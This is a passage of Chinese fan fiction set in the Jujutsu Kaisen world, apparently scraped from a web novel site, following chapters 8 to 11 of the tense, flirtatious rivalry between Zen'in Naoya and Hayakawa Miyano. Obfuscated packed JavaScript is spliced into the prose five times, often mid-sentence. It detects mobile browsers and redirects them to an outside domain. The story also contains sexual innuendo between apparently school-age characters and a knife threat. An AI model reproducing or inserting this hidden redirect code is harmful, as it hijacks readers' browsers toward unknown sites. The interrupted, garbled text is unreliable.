藤原立刻跪地朝拜。像他们这种弱小的旁系能在禅院这样的大家族生存已经很难了,更不用说他舔了好几年才勉强能和直哉称得上“好友”。 作为未来继承人的禅院直哉在训练场上拥有绝对的决定权,有看不顺眼的,就算直接杀了或者弄残了,也可以说是切磋时失误。 而他刚刚居然对禅院未来家主那么失礼……没直接杀了他已经是荣幸之至了。 好友抬起头,拿出扇子又是扇风又是递水的,讪笑着围在禅院直哉身边。 “不过是直哉大人在训练过程中扣子崩线,掉了而已。我们又不是女人,没有人敢私下议论这种事的。” 好友在一旁出谋划策,直哉不屑地嗤笑一声。 当然没有人敢议论这种事了,难道他看上去很在意吗? 又不是女人,漏点肉什么的怎么了。 相比之下,很明显早川这种连运动衣都是胸罩背心的样子,后背裸露出好大一块才更不要脸吧。 直哉坐在遮阳棚下,伸手接过好友递来的茶水,扇子送来的凉意让直哉的心情舒畅些了,训练场里那群废物压根不用他去管。 他下意识的看向早川的方向,可现在只剩下那位不知名的妾室坐在那里,早川的身影无影无踪。 贱女人…… 直哉内心冷笑一声。 又去哪里勾搭男人了。 他平躺下身,把玩着手里的茶杯,热茶在扇子的煽动下逐渐冷却,茶香四溢。 好友在絮絮叨叨的说着什么,大致是最近一些御三家其他情况的事,什么五条家的六眼又和家主吵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536952|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 架了,还扬言要去东京的事,或者是加茂宪纪又学了一个什么新的招数。 一开始直哉有一搭没一搭的听着,后面隔着铁网看见早川宫野回来了,他挑了挑眉,视线停留在早川身上。 她脱下了外面的外套,黑色运动背心衬着她的身材意外的不错,头发也高高束起。因为很瘦,所以背部的肩胛骨很明显。 早川宫野展开双臂,站在那名妾室面前,像是在哄那位妾室开心一样,一会做出展示肱二头肌的动作,一会拉开双腿。 妾室被逗的花枝乱颤,还十分捧场的鼓起小手。 禅院直哉皱起眉。 什么鬼…… 对他态度那么恶劣,结果对同性态度那么好吗? 女人相互之间不都是应该针锋相对的吗? 不知道是不是他的目光太直白了,早川突然站停了动作,毫无征兆的转过身,像是锁定了他一样,在人群中一眼就同他对视上。 虽然女人就是用来看的,但禅院很少有女人敢这么直白的看着他。 突然被抓包的禅院直哉下意识的还是慌乱了一瞬。他端起茶杯佯装喝水,茶杯抵在嘴边。 本以为早川会识趣的移开视线,等直哉扬起的头刚低下时,原先还在台阶上的早川宫野,此时已经瞬移到了格网前。 她正双手扒着格网,褐色的瞳孔先是目不转睛,随后是在直哉肉眼可见下,逐渐勾成他熟悉的弧度。 而直哉可以清楚的看见,早川宫野的眼珠向下移动了一毫米——停留在他裸露的喉结上。 禅院直哉真的要疯了。 是那种粘稠的、像浑身被什么散发着恶臭的大舌头细细的舔过他一样。恰到好处不怀好意上扬的嘴角,微眯的褐色瞳孔,像是要把他看得更仔细一样。 像是下一秒就要穿过铁网,弯下腰挑起他的下巴,逼迫他仰起头,毫无掩饰的露出整个喉结供她观赏…… 茶水还停留在口中,禅院直哉咽也不是,不咽也不是。他的表情甚至都发愣的有些失焦了,直到生理性的实在忍不住,喉结微弱的滚动了一下。 “啊……” 明明隔的很远,可早川如释重负一般满足的叹息声仿佛就贴在他的耳边。 早川宫野单手抵着下巴,眯起的眼睛使眼角的那颗痣也微微隆起,她勾起嘴角,对着他张开口,做着口型: ———超色的哦,直哉。 “噗……咳咳咳!” 口中的水全部喷了出来,被呛到的禅院直哉剧烈咳嗽起来。他弯着腰,手背抵着嘴唇,眉头深深的皱起。不明所以的好友急忙给他又倒了一杯茶。 像是肺部都要咳出来了,眼角都染上了泪花。 过了好一会,禅院直哉缓和一些了,他扶着桌角,不知道是因为剧烈的咳嗽还是气的要死,胸口的起伏十分明显。 禅院直哉当场捏碎了茶杯,滚烫的茶水顺着他的手心滑下,可他像是全然感知不到一样,只是琥珀色的瞳孔死死的、死死的盯着早川宫野的背影。 他一定……要掐死这个贱女人!! 8. 第八章 早川宫野不知道直哉为什么突然呛到了口水,也不知道他眼尾发红的看着自己是什么意思。 甚至还有些生气的捏碎了茶杯。 明明她只是用非常欣赏的眼神注视了一会,顺带说了实话而已嘛。 因为直哉君——真的很色气啊…… 在杂物室恼羞成怒瞪着她,却咬牙伸手自愿解开扣子的样子很色气。为了不让自己的同僚看见脖颈、故意在训练时加快速度到重影很色气。一脸厌弃居高临下露出讥笑碾压着藤原的手指很色气。 尤其是扬起头滚动喉结,小幅度吞咽的动作更加色气啊…… 因为内衬的最上面一颗扣子被解开了,所以看的格外明显。 “早川大人。” 门外的敲门声打断她的思绪,侍女端来茶水:“您没去上体术课吗?” “去了,但是直哉君不让我进去。我就回来了。” 早川自顾自的拿起糕点,咬了一口又放回去。当时的她在铁网站在一会,等直哉咳好后正准备申请自己可不可以进去训练,结果自己还没开口,禅院直哉就冷着脸把手里的碎瓷片扔向她,还叫她滚。 然后早川就真的回来了。 毕竟训练场没有遮挡物很热,男人的汗臭味又很浓,场上也就直哉和他们白的不像一个图层了。 “这样吗?早川大人不去也好。刚听见她们说直哉少爷的手被烫伤了,正发脾气呢。” “是吧,我也觉……嗯?” 早川宫野停下咬了一半的糕点。 禅院直哉的手被烫伤了,应该和她无关吧。 她只不过是恰好多盯着直哉看了几眼,又恰好说了一些夸赞的实话,又恰好直哉在看见她后捏碎了茶杯,还拿碎瓷砸了她。 所以,完全和她无关的吧。 说不定是直哉好友中的某一个,比如藤原那个墙头草故意倒茶时浇到了直哉手上。 早川宫野耸耸肩,继续喝着茶咬着糕点。 侍女弯下腰,蹲在早川面前,伸手替她解开靴子,换上木屐:“早川大人要去看看直哉少爷吗?” “我?” “嗯,虽然我知道您不太喜欢直哉少爷。少爷他的确有些……但是为了您以后在禅院的生活,早川大人,请还是尽量和直哉少爷的关系缓和一些吧!” 禅院直哉作为众所周知的唯一继承者,要和未来家主打好关系这一点是任何人都知道的。早川也不例外,他关系的不仅仅是禅院、是她在禅院的地位、立足、甚至生命。 其实她并没有多大的抱负和想法,只想平平淡淡安安稳稳在禅院有一个她的小房间,和熟悉的侍女们呆在一起偶尔聊聊天,养养小花小草,画画漫画之类的。 “倒也没有不喜欢直哉君。” 早川宫野回想了一下,虽然直哉君的确很讨人厌,性格也很恶劣,但是胜在脸实在太好看了,所以缺德的样子也别具一番风味。 况且对于她所经历的幼年生活来比,的确对于直哉的小把戏已经差不多免疫了。 侍女微笑着看着她,等待她的回应。早川叹息一声。 “我知道了,别再这种眼神看着我了…我晚点就过去看看慰问一下好了。” 侍女从柜子最上方拿出一只小药膏,放在桌上:“辛苦早川大人啦,这是烫伤膏,作为慰问礼一并给少爷带过去吧。” 早川停顿片刻,表情有些抗拒:“直哉有专门的反转术士咒术师,压根不需要这个吧。” “嗯,是的哦。只不过空手拜访会比较失礼,所以请拿上这个吧。” 早川看着桌上的药膏,像是吃累了,又长长叹了一口气。 一直到天黑,早川才磨磨蹭蹭的出门,路上又是看看花摸摸草的,到直哉的院子时也就快十点了。 “是……早川大人吗?抱歉,直哉少爷九点以后是不待客的,请明日再来吧。” 早川宫野以肉眼可见的松了口气。 虽然她的确还挺喜欢直哉的没错,不过也只是身体而已。况且下午已经见过了,晚上再见面就未免有些俗气了。 嘛……毕竟男人这种东西还是要保留一些神秘感,如果全部看完了,会变得无趣的。 “好的,烦请转告直哉君我来过,既然如此我就先离开了。” 这对于她来说是最好的结局,自己既不需要见直哉,又让女孩们开心了。现在只需要…… 早川宫野还没计划完自己晚上的行程,从厅堂里走出来一个侍女,说了什么后露出招牌性礼貌的微笑走向早川宫野。 早川已经暗感不妙了。 “请进来吧,早川大人。” 早川:“……” 这下真的不妙了。 * 禅院直哉的房间很大,厅堂是传统日式风格的,插花、暗色的矮桌、墙上的挂画。厅堂的隔壁是娱乐场所,榻榻米上的大屏游戏机,以及散乱在地上的各种卡带。 带领她的侍女拉开门就退出去了,早川宫野原地观望了一圈,并未看见禅院直哉的身影,就在她走到矮桌前琢磨要不要放下药膏先离开时,身后由远及近的黑影缓缓将她覆盖。 早川宫野抬起头,朝后仰去,对上琥珀色的瞳孔。 “晚好,直哉君。” “嘁……” 禅院直哉看上去的确不太高兴的样子,他嘁了一声转过脸,越过她坐在蒲团上。 他穿的依然是上午那件羽织,但下摆的位置沾到了水渍,有些皱巴巴。两只手都被宽大的袖口挡住,让早川看不清楚到底受伤的是哪一只手。 “来找死吗早川。” 直哉开口打断她的思绪。 “你来干什么,我这里可不欢迎垃圾。” 早川宫野抬起头,她正准备说些什么,直到一眼看见对方的领口。 禅院直哉上衣的最上面一颗扣子———还是没有扣。 像是一种很奇特的反差感,明明对方不管是表情还是话语都恶毒的要死,却依然乖巧的真的维持了一整天和她的承诺。哪怕在她看不见的地方,也依然如此。 还真是……意外的听话呢。 “噢,我是来道歉的。听说直哉君受伤了是吗,我带了烫伤膏。” 早川说着从怀里拿出递给他:“虽然不知道你为什么烫伤,也不知道是不是因为我。不过,我还是希望你早日康复。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536953|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 直哉垂眸,看着她手里的药膏好一会,突然低低的笑出声来:“因为你?哈……哈哈哈哈,早川,你是个什么东西?我会因为你?” 他似乎笑累了,一只脚踩在榻榻米上,胳膊撑着矮桌倾斜着上身,唇边依然是讥讽的笑意:“别犯蠢了,鬼知道你的药膏里面掺了什么,我可不屑于用下等人的东西。” “你已经叫禅院的反转术士治疗好了吗?如果治疗好了的话我就拿走了。”早川宫野像是完全没看见他讥讽的话语一样,就连脸上都没有多大的起伏。 昏暗的光线里,禅院直哉依然保持着刚才的动作,双手被袖口盖住,像是在遮挡什么一样。 几秒后,早川叹息一声,朝直哉伸出手:“给我看看。” “看什么?喂早川——赶紧滚啊。” “手啊,哪一只?左手?右手?” “你听不懂人话吗?” 直哉已经笑出声了:“早川,我叫你滚,听清楚了吗?” 早川宫野发誓她的耐心已经到极点了,她甚至懒得开口继续同直哉争论,已经率先一步,握住了他藏在袖口里的手。 “你干什……嘶…!” 是她想的没错了。 因为心里下意识的想要掩盖伤口,所以故意说出格外难听的恐吓或者威胁性的话语,是禅院直哉特有的保护色。 而此时此刻,原本就白皙的皮肤已经泛红,就算不碰也会发热疼痛。虽然不是很严重,甚至只是轻微烫伤,但作为禅院家少爷,没受过这种伤痛也是正常的。 “干嘛不告诉侍女。” 昏暗的灯光下,早川坐在榻榻米的台阶,药膏被她打开放在膝盖上,一只手摊着他烫伤的左手,另一只手蘸着药膏,正一点一点涂抹在他的手背上。 “…不关你的事。” 早川无奈,抬眸看了他一眼,手上加了些力道轻轻按压着他的关节。 “嘶!你要疼死我吗!” “哦,抱歉,其实就算直哉君你疼死也和我也不关我的事。” “……” 后半场的禅院直哉明显要沉默很多,脚也没有像刚才那样踩在榻榻米上了,而是比较规整的放在台阶上。一直到她给直哉上完药,才站起身。 “行了,过几天就好了。或者等明天反转术士师来上班了,你让他帮忙弄一下就好了。” “……” “直哉君,你会明天告诉侍女或者拜托反转术士的吧?我知道禅院有养很多这种咒术师。” “……” “算了,我把药膏留在这里吧。今天别碰水好吗?晚上可能会痒,但是不要抓它。” “……” 禅院直哉并未开口,早川也不介意,毕竟真的有点晚了,况且她也很困。 明明说好只是来慰问一下的,这下她直接当上老妈子的工作了,回去得好好让…… 她思绪未完,眼前一道寒光闪过。 一把匕首横在她的脖颈前。 啊…… 早川疲倦的闭了闭眼。 怎么就突然大意,背对直哉了呢。 忘记他可是条有毒的小蛇了啊。 9. 第九章 禅院直哉绝对不相信什么所谓的好心。 人与人之间的信任就好比蜉蝣,充满了伪善和虚伪。每一个打着“好心”和“关切”的名义,只不过是想要进一步靠近看你的窘迫。 所以当直哉看见早川握住他的手腕给他涂药时,直哉的脑子里只有一个。 ———怎么样可以不惊扰周遭,了无声息的让早川宫野一刀毙命。 毋庸置疑,他是讨厌早川的。 从幼年时一直讨厌到现在。讨厌她上扬的语调,讨厌她眼角的那颗痣,讨厌她看着他上下扫视的眼神,讨厌她勾起的嘴角,在喝水时不知廉耻的盯着他上下滚动的喉结,对他说着放荡的话。 只不过那个时候的直哉还是太年轻了,以至于早川宫野在涂抹药膏时,他还是稍稍分了分心。 分心的看见她下垂的发丝,看见她纤细的睫毛,以及握住他的手心。 早川宫野的手并不像其他女人那样柔软细腻,她的手心有着薄茧,不知道是不是经常绘画的缘故,比他的手都还要粗糙几分。 但平摊在他手下的手却很软,也很小。 涂抹结束后,早川说了一大堆什么,但禅院直哉没听,只是看着撑在膝盖上的手。 原本还发红的手背此时像是覆上一层透明的乳胶,亮晶晶的投射在顶光灯下。 禅院直哉的确是要杀死她的,所以在从怀中抽出匕首横在早川宫野白皙的脖颈时,他没有丝毫犹豫。 早川甚至都没有反应过来,等到脖颈触碰到一个冰凉的东西,才停下手中旋转盖药膏盖子的手,抬起头。 “为什么。” 他的确本意是杀死她的,但不急,他还有些问题要问她。 “这是你企图引诱我注意力的把戏吗?早川,你到底……要干什么。” 禅院直哉说这句话的时候还带着些咬牙切齿的意味,他眯了眯琥珀色的瞳孔,注视着她的脖颈。 她到底要干什么。 禅院直哉很早就想这么问了。 明明也和他一样相互讨厌着,在训练场对他说那种话,现在为什么要帮他? 还装模作样的帮他涂药,说一些虚与委蛇的话。 甚至在前段时间还向他告白…… “啧。” 像是想到什么一样,心情突然不好了起来。横在她颈间的匕首近了几分。 禅院直哉上前一步,贴上早川宫野的后背:“还是说——你有什么别的身份。” “你真的是禅院的私生女吗?” 是谁家的旁系故意派她来扰乱他的思绪,好伺机对他下手吗? 太奇怪了… 早川宫野,你太奇怪了。 “真奇怪。”早川宫野开口道,伸手推开他的胳膊,看着他转过身:“只是涂药而已,你那么警惕干什么。缺爱吗?觉得别人对你的好都是明面标价的。” “还是说……” 早川宫野垂了垂眸,缓缓勾起嘴角,再抬眼看向他时,褐色的瞳孔带上几丝笑意。 “直哉君想亲眼看看,我究竟是不是禅院家的私生女呢?” 直哉一开始还没懂她在说什么,直到看见早川缓缓靠近他,一只手撑在矮桌上。另一只手正解着自己上衣的扣子,他的大脑突然一片空白了。 “你…!你这是干什么!” 禅院直哉当然清楚这个动作是什么意思,禅院女人众多,下人更是多的数不胜数。那些伺机想要勾搭上他,怀上子嗣的企图一步登天的女人更是不计其数。 但直哉一是嫌脏,二是下人顶多只是若有若无的暗示,从来没有像早川这样突然。 “嗯?” 早川宫野表面上乖巧可爱的眨巴眨巴眼睛,却已经单脚跪上榻榻米,挤到他两腿之间的位置,上身向他倾斜来:“当然是——干你啰!” 砰———! 早川宫野话语刚落,明显也被这一声巨响愣住。什么东西撞击到了榻榻米上木制的靠椅,禅院直哉捂住头。 “欸?欸欸欸?你…你没事吧…?” 该死的…早川!! 禅院直哉抱住脑袋,蜷缩着身体侧躺在榻榻米上痛苦的捂住头顶,要知道他家里的可都是实心的,刚才那一下撞的他眼泪都快出来了。 被羽织的袖子挡住的面容下,禅院直哉几乎咬牙切齿。 他真的……要用胶把早川的嘴堵起来啊!! 公然袭击禅院继承子可是死罪,纵然早川宫野也是禅院的人,但如果直哉发话,免不了去一趟禁闭或者咒灵室了。 “sorry啊直哉君…我只是随便说说的,如果你不同意的话,我绝对不会对你做那种事情的啊……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536954|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 什么叫……如果他不同意啊!! 早川这个蠢女人,到底在说些什么啊! 禅院直哉咬牙正准备让她滚出去,一双手突然环住他的肩膀,紧接着一阵天旋地转,自己的鼻尖碰到一处柔软。 禅院直哉的上身被早川搂在怀里,脸深深的埋进她的胸部,而他被撞到头,此时此刻正被早川轻轻抚摸着。 像婴儿被母亲搂在怀中,母亲有着绵羊一样柔软的绒毛和慈爱的眉眼。 禅院直哉承认那一刻他愣住了。 他呆滞的还保持着双手挣脱的动作,胳膊因为大脑发空,一点力气也使不上。 他在……被早川抱在怀里吗? 柔软的身躯,温暖的怀抱,羽毛一样轻轻抚摸着他发丝的手。 这一秒的直哉好像什么也没有想,又好像什么都想了。 在呆滞的第三分钟,禅院直哉几乎气到发抖,脸色爆红。 早川宫野这个贱人……在羞辱他吗!? 把他当作什么婴儿孩童一样的哄吗? 禅院直哉本意是摸到掉在榻榻米上的匕首,最好对着早川的腹部来一刀,内脏肠子什么的全都被他给拽出来。但早川宫野不知道哪里来的力气,硬生生搂着他用不上一点力气。 而在他不断挣扎扭动的身躯里,又因为自己的头埋在早川的胸部,所以… 已经看见她里面的颜色了。 “早川宫野…!!” 他面红耳赤,声音闷闷的发出来:“给我滚开啊!” 对方刚松开一点力气,禅院直哉迅速看准时机,抓住抚摸着他头顶的手,翻身将她压在身下。 少女散开在榻榻米上的黑色发丝,像海藻一样蔓开。 “哈……” 他喘着粗气,好不容易挣脱束缚让他缓了一口气。像是胜利者夺回胜利了一般,扬起恶劣的笑意。 “早川,你放肆的也够久了。” 他居高临下看着身下的早川,本以为对方会露出羊羔一样羞涩惶恐的颜色。却对上早川宫野玩味般眯起的瞳孔。 “啊……说的是呢。” 她伸出手,指尖划过他额前凌乱的发丝,眼底笑意不减。 “直哉君的脸,红红的。” “喘息的声音也很粗呢……让人很难不想些什么啊。” 10. 第十章 怎么回事…… 禅院直哉看着榻榻米上被他压在身下的女人。不知道是不是因为光线的缘故,早川宫野眼角的那颗痣异常明显,连同着褐色的眼珠在顶光灯下都投射出几丝淡淡的琥珀色。 又是这种奇怪的感觉。 明明被压在身下的人是早川宫野,却莫名好像主导权在她那里。 散漫的表情,懒懒的话语,带着笑意的瞳孔,以及时不时对他说出的轻挑的话语。 刚才靠近他时解开了扣子,虽然只解开了上面几颗,但原本就松垮垮的领口在被他折腾一番后,此时已经是半敞开的露在外面。 以直哉的角度,可以清楚的看见早川突起的锁骨,白皙的脖颈,以及露出中心一角的胸罩。 而他的头就是在这里被早川给…… “欸?开始发烫了。” 早川宫野的手心顺着发丝移到他脸颊的位置,指腹轻轻摩挲着他的脸颊。她的手带了些薄茧,但并不让人感到不适,指尖带着什么糕点的味道,有些甜。 禅院直哉并不喜欢被人碰到脸颊或者发丝这种比较私密性的部位,他蹙起眉,打开早川的手,微不可查的扫了一眼她的胸脯后,拉起她两边的衣服重新盖上。 “不知廉耻。” 他说着,突然自顾自的翻过身,从早川身上离开。 “……” 早川宫野揉着被打疼的手腕,挑眉看着刚才被直哉拉起的衣服——虽然的确是遮住了她的内衣,但也显得更加凌乱了。 她重新理了理衣服,系上扣子,一抬眸正看见禅院直哉环抱着手臂站在暗处看着她。 “干嘛这样看着我。”早川笑道:“不过我很意外直哉君你居然还会替女人整理衣服吗?还以为你是那种事后什么都不管的人呢。” 禅院直哉皱起眉,看着早川好半晌嗤笑一声:“你在说什么啊早川,疯了吗。以为我像你一样不挑?” 琥珀色的瞳孔向下瞟了一眼:“像你这种女人,要胸没胸要屁股没屁股的,呵……” “欸?不能吧,我可是B+呢。虽然的确没有到C很惋惜,不过B+勉勉强强也可以挤进去一个C吧。” 早川宫野低头,伸手抬了抬胸部,像是完全不顾及还有他在场一样,抬起又放下。 饱满圆形的轮廓颤了颤,禅院直哉手里的杯子又快被捏碎了。 “不过…为什么刚才要说像我一样不挑?”早川宫野回忆片刻:“明明我在学校也没有对别人有那种想法吧。” 装模作样的蠢货…… 禅院直哉不语。上课时早川偷看的那本漫画书,总不可能是她自己买的吧。 一定是某个巴结她的旁系。嘁……说起来给早川递书的旁系也是没品的很,什么年代了还看多啦A梦。 而且……很显然他的漫画书绝对比任何人都要多吧。 禅院直哉正准备出言讥讽,却突然抓到早川的某一个关键词。 “什么叫‘也’…?” “嗯?” “你刚才说,也没有对别人有那种想法。” “啊……”早川宫野感叹了一声,坐在榻榻米上:“就是——除了直哉之外,我没有对别人有那种想法的意思哦?” 除、除了他? 禅院直哉的心脏突然莫名加快的跳动了一下。 又是这样……早川宫野又是这样,突如其来的打直球,害得他每一次都有些措手不及,却被迫要在表面上装出若无其事毫不在意的模样。 “你……在向我告白吗?” 告白。 纯爱漫里面最常见的剧情,也是禅院直哉最嗤之以鼻的剧情。 孩童时代的直哉有收到过情书,但因为一直都在禅院生活,所以非常的屈指可数,直到某一次他意外知道还有下人会给他写情书后,当晚气的砸了家里所有东西。 下等人也敢肖想他,简直是耻辱。 此后的直哉就再也没收到过情书了,或者说——这种当着他的面告白的场景,是直哉的第一次。 他第一次经历,有异性当着他的面和他告白。 说不紧张都是假的吧…… “你……在向我告白吗?” 他动了动喉结,早川宫野还撑在榻榻米上。 “告白吗?” 她似乎没想到他这样问。 “不算吧,嘶……欸?这个算告白吗?应该也算吧。” “喂——” 禅院直哉皱眉,琥珀色的瞳孔略微不耐。早川宫野看着他笑了一声:“直哉君想听什么?告白的定义就是喜欢对吧,唔……的确是喜欢直哉君的呢,所以,应该就是告白吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536955|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 这是禅院直哉第一次听见有人说“喜欢直哉”。 围着他的女人总是非常擅长夸大着称赞的他“直哉大人好棒呀”“直哉大人好厉害”“太酷了直哉大人”。 当然,幼年的直哉也不免听见下人悄悄非议,说他是最讨厌的小孩,最不喜欢的就是他了之类的话。 不过那已经是很久之前的事了,因为后面那两个下人已经被他丢进咒灵屋,估计骨头都不剩了。 不过说起来…… 禅院直哉抬起眉眼,看着早川点了点下巴。 早川宫野喜欢他,也是情理之中的事情好吧。 只不过恰好第一个告白的人是早川而已,他作为禅院未来家主,喜欢他的女人只会排着长龙求他恩赐一个眼神。 “哦。” 禅院直哉开口,像是回复了一个简单的“知道了”一样。 “喜欢我什么?” 少年在无意中已经微微上扬了嘴角,眼神却依然轻视,像一只盘着尾巴,高高直起身子的黑色小蛇。 “这个也要回答吗,直哉君你的问题很多欸——” 已经不知道几点了,她在直哉这里浪费了太多时间了。早川宫野趴在矮桌上,撑着头闭着眼睛,一副懒懒散散的模样:“明天再回答吧?我已经很困了,原本只是来慰问一下的,居然呆了这么久。” 说着,她站起身就要往门口走去。禅院直哉已经蹙起眉,伸手抓住她的手腕。 “哪有人表白到一半走开的啊——!早川,你到底会不会告白啊。”他的脸色倏然沉了下来,强硬道:“现在说,我现在就要听。” “我也是第一次告白嘛……或者直哉君当我没有告白就好了。” 听到前一句话的禅院直哉还扬了扬笑意,下一句话一出来,直哉的嘴角瞬间抿成一条薄线了。 他也不说话,只是拽着早川的手腕,琥珀色的瞳孔不悦的看着她。 “虽然我们都在禅院,但是你知道从你家到我家是很远的吧,我等会回去要差不多小四十五分钟呢,到家都快一点钟了。” 早川宫野装模作样的打了个哈欠,抬眸笑看着他:“如果直哉君非常想听的话,不如让我在贵地借宿一晚呢?” “突然想起来——我好像真的有很多喜欢直哉君的地方呢。” 11.第十一章 房间里,早川宫野美美的坐在禅院直哉的沙发上,看着侍女搬出被褥打着地铺。 她没想到直哉居然真的默许了。他那一秒脸上的表现似乎很复杂,下意识的皱起眉想要出言讥讽,却闭上了嘴,做了很长的思想斗争一样憋出一句:“你只能睡外面。” 只能睡外面的意思是只能让早川睡在厅堂,初夏的夜晚是很热的,晚上有蚊子不说,厅堂的门并不隔音,侍女打水走动的声音很容易听见。 早川当场就婉拒,直哉才带着些许咬牙切齿的让她也睡在房间了。 “不准上我的床,不准碰我的任何东西,晚上不准说话,不准打呼噜,不准翻身……” 前面几个就算了,不准翻身是怎么…… 早川宫野权当没听见一样,胡乱的点点头。 禅院直哉的房间很大,至少比她的房间要大。有整整一面墙放的全是漫画书,按顺序排列的非常整齐,床也非常大,几乎有三个她那么宽。 侍女还在收整她的地铺,早川宫野细细的浏览了一遍书柜,指着某一处:“这个也是漫画吗?” 非常漂亮的色彩,光是书脊就已经吸引到她了。 “不然呢。”禅院直哉单手抽出,随意翻动了一下前后的封面。他上挑着眼尾,唇边勾起几丝笑意:“想看?” 想看倒谈不上,毕竟她人生看完的第一部漫画都还是同学给她带的多啦A梦,剩下的都只是零零碎碎的拼凑。 只不过…… 早川宫野向后躺了躺沙发后背,胳膊撑在沙发上。 直哉君现在这个表情,真的像一只狐狸呢。 一只让人一眼就能够看得出来坏心思、缓慢的在身后摇晃着尾巴的狐狸呀…… 真可爱。 就算是坏心思的直哉君,也依然一如既往的可爱呢。 并未察觉到异常的直哉看了一眼蹲在地上整理的下人,催促一番后侍女鞠躬后退着离开。 至此,偌大的房间里只剩下他和早川两个人。 一本封面精致的漫画书抛到沙发上,不偏不倚正落在早川的手边。她抬起头,对上直哉带着恶劣笑意的瞳孔。 “算你还有眼光,最新出的热血漫。”他扬了扬下巴:“说吧,有说到我满意的一点,我就多借你看一本。” 说完又补上一句:“全册的我都有。” 早川宫野其实并没有很想看的意思,一是她现在有些困,二是她并没有看过这种类型的漫画,会有些无从看起。 但早川还是拿起了那本书。 “直哉君居然还记得刚才的问题吗?”早川宫野整个人陷在沙发里,语气懒懒的:“我只是比较好奇,直哉君一般什么时候睡?难道一点也不困吗?” “喂——” 直哉眯了眯眼睛,表情已然不耐。他斜靠在书柜前,环抱起双臂:“别浪费我时间。” “好嘛好嘛……关于我喜欢直哉君什么吗?”她偏了偏头,思索了好一番。原本以为会说多么长的一段话,却没想到早川只是十分敷衍且随性的抛下一句:“就是什么都很喜欢啰。” 话音刚落,她就对上直哉阴沉不悦的脸。 “干嘛这么严肃。”早川看着他轻笑:“是想听更详细的吗?欸……如果非要说的话,喜欢直哉君的脸吧。” 禅院直哉轻挑起眉,示意她继续说。 “因为直哉君的脸很好看啊,上挑的眼尾,皮肤也很白,白天解开扣子时候能看见喉结也很大,像核桃一样呢。” 直哉其实很想说,为什么早川宫野每一次说话都带着几丝情色的味道。上一次是腹肌,这一次是喉结,每一次都是正常人注意不到的地方,还偏偏要用“大”这个形容词…… 禅院直哉深吸一口气,企图压下心底的不适——至少早川前面的话他很受用就是了。 “嗯哼。”禅院直哉上扬了语调,像一只捕获到了丰厚猎物正在炫耀的狐狸一般,享受着同伴羡慕的目光。他点了点下巴:“继续说。” “继续说?”早川宫野重复了一遍他的话,起身朝榻榻米上的地铺走去:“没有了,差不多就是这些吧。” 禅院直哉微愣,刚才骄傲的神情徒然消失,连音量不可置疑的都加大了些:“没了?” 早川宫野居然和他说……没了? 他的咒力、他的体能、他的家世、他的能力、他的才华,以及他作为继承子几乎完美无瑕的全部——— 难道他的优点就只是脸吗!? “我已经说了很多喜欢直哉君的地方了,不可以得寸进尺哦。” “明明你只说了一个吧!” “我只说了一个吗?” 早川伸出手指,比划着数字:“喜欢直哉君的眼睛,皮肤很白也很细腻,这算两个了吧?还有直哉君的喉结。噢对,还有睫毛很长,很好看。一二三四……你看,这不就有四个了。” “……” 禅院直哉只觉得一股灼热在他胸口,不停翻滚着。 他闭上眼,深吸一口气。早川宫野已经躺在地铺的被褥里了,虽然是打的地铺,但空调的制冷明显比她院里的效果要好很多,静音也是,只有冷气轻柔的呼呼声。 “其实……” “闭嘴!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545299|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他已经不想再听见这个小骗子讲话了。 